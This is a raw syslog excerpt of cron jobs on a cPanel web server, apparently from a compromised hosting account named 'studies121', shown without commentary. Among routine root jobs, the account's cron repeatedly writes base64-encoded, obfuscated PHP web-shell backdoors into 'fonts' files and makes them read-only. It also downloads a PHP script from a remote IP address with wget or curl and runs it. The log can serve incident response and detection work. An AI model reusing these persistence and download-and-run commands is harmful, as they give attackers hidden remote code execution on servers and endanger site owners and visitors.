Sep  7 09:37:01 ip-184-168-122-23 CROND[1929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:38:01 ip-184-168-122-23 CROND[2030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:38:01 ip-184-168-122-23 CROND[2032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:38:01 ip-184-168-122-23 CROND[2035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:38:01 ip-184-168-122-23 CROND[2036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:38:01 ip-184-168-122-23 CROND[2037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:39:01 ip-184-168-122-23 CROND[2219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:39:01 ip-184-168-122-23 CROND[2221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:39:01 ip-184-168-122-23 CROND[2220]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 09:39:01 ip-184-168-122-23 CROND[2223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:39:01 ip-184-168-122-23 CROND[2224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:40:02 ip-184-168-122-23 CROND[2362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:40:02 ip-184-168-122-23 CROND[2366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:40:02 ip-184-168-122-23 CROND[2367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:41:02 ip-184-168-122-23 CROND[2480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:41:02 ip-184-168-122-23 CROND[2482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:41:02 ip-184-168-122-23 CROND[2483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:41:02 ip-184-168-122-23 CROND[2486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:42:01 ip-184-168-122-23 CROND[2657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:42:01 ip-184-168-122-23 CROND[2656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:42:01 ip-184-168-122-23 CROND[2655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:42:01 ip-184-168-122-23 CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:42:01 ip-184-168-122-23 CROND[2659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:43:01 ip-184-168-122-23 CROND[2750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:43:01 ip-184-168-122-23 CROND[2752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:43:01 ip-184-168-122-23 CROND[2753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:43:01 ip-184-168-122-23 CROND[2751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:44:01 ip-184-168-122-23 CROND[2875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:44:01 ip-184-168-122-23 CROND[2878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:44:01 ip-184-168-122-23 CROND[2877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:44:01 ip-184-168-122-23 CROND[2879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:44:01 ip-184-168-122-23 CROND[2880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:45:01 ip-184-168-122-23 CROND[3073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:45:01 ip-184-168-122-23 CROND[3076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:45:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:45:01 ip-184-168-122-23 CROND[3075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:45:01 ip-184-168-122-23 CROND[3078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:45:01 ip-184-168-122-23 CROND[3079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:46:01 ip-184-168-122-23 CROND[3178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:46:01 ip-184-168-122-23 CROND[3179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:46:01 ip-184-168-122-23 CROND[3183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:46:01 ip-184-168-122-23 CROND[3182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:46:01 ip-184-168-122-23 CROND[3180]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 09:46:01 ip-184-168-122-23 CROND[3184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:46:01 ip-184-168-122-23 CROND[3181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:47:01 ip-184-168-122-23 CROND[3344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:47:01 ip-184-168-122-23 CROND[3347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:47:01 ip-184-168-122-23 CROND[3348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:47:01 ip-184-168-122-23 CROND[3346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:48:01 ip-184-168-122-23 CROND[3458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:48:01 ip-184-168-122-23 CROND[3462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:48:01 ip-184-168-122-23 CROND[3461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:48:01 ip-184-168-122-23 CROND[3460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:48:01 ip-184-168-122-23 CROND[3463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:49:01 ip-184-168-122-23 CROND[3592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:49:01 ip-184-168-122-23 CROND[3593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:49:01 ip-184-168-122-23 CROND[3591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
